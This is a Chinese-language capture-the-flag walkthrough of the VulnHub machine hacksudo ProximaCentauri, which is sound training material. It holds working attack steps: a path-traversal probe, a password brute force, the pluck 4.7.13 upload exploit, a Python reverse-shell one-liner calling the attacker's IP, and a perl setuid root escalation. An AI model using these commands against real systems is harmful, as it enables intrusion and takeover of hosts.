准备:

攻击机:虚拟机kali、本机win10。

靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip,下载后直接vbox打开即可。

知识点:perl提权、pluck 框架漏洞、端口敲门、密码爆破、敏感文件发现。

信息收集:

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.2126,显示开放了80端口,开启了http服务并且存在robots.txt文件以及两个目录信息。

访问下web服务,跳转到:http://192.168.5.126/?file=hacksudo-proxima-centauri,猜测存在文件包含漏洞,进行测试:http://192.168.5.126/?file=../../../../../../../etc/passwd,但是存在检测,被拦截了。

目录扫描:

使用gobuster进行目录扫描,发现flag1.txt文件、data文件夹、files文件夹等信息。

访问:http://192.168.5.126/flag1.txt获得flag1.txt信息。

访问login.php页面发现框架的版本信息:pluck 4.7.13,顺便尝试了下弱口令、注入,但是均测试失败。

搜索下pluck 4.7.13的漏洞信息:searchsploit pluck,发现存在一个文件上传进行命令执行的漏洞,但是查看了下该漏洞利用方式是需要admin权限的。

访问:http://192.168.5.126/planet时,发现travel目录,在travel目中检查源代码时发现提示信息,告诉我们要获取一个坐标并且RA是开启,DEC是关闭。

<!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!> 

访问下半人马座的坐标信息,获得:RA 14 29 43。

端口敲门和密码爆破:

使用命令:knock 192.168.5.126 14 29 43进行端口敲门,然后再次使用nmap对靶场进行端口扫描,命令:nmap -T4 -sV -p- -A 192.168.5.126,发现ssh服务。

尝试使用ssh服务进行了连接,发现给出了一个字典:https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst,猜测是密码。

使用bp抓取登录的数据包:http://192.168.5.126/login.php,使用获得字典进行爆破,成功获得密码:hacktheplanet。

框架漏洞获取shell:

这里想到上面提到的框架:pluck 4.7.13的漏洞,该漏洞需要使用管理员权限,那我们现在有了密码不就是管理员了,根据该exp的利用方式获取shell权限,命令:python 49909.py 192.168.5.153 80 hacktheplanet ""。(这里因为电脑重启了一次,靶机ip和kali的ip均发生了改变)。

访问返回的地址:http://192.168.5.153:80/files/shell.phar,获得一个命令执行窗口。

使用python反弹下shell,python反弹脚本可以在这里生成:https://www.revshells.com/。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.150",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

多级目录获取shell:

对二级目录进行了扫描,最后在/data/trash/files目录下发现shell.phar文件,访问该文件获取了一个shell(同上面),这里不在赘述。

提权-proxima:

在/home目录下发现用户名称:alfa、centauri、proxima,想着用原来的密码字典进行爆破,但是失败。

在/var目录下发现一个备份文件:backups,在该文件中发现mysql.bak文件,读取该文件获取到数据库名称、账号和密码信息:proximacentauri、alfauser/passw0rd。

使用获得数据库信息,连接数据库,命令:mysql -h 127.0.0.1 -ualfauser -ppassw0rd,切换成我们发现的数据库,读取数据库内信息,发现一组账户和密码信息:proxima/alfacentauri123。

使用获得的账户信息:proxima/alfacentauri123,进行ssh连接,成功提权至proxima。并在当前目录下发现user.txt文件,读取该文件成功获得flag值。

提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现无法执行sudo权限。

通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件进行提权,但是未发现可以进行提权的文件。

上传LinEnum.sh脚本进行信息收集或者getcap -r / 2>/dev/null命令也可以发现,发现一个:cap_setuid+ep。

查找下perl的提权方式,执行命令:/home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";',进行提权,成功获得root权限。

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。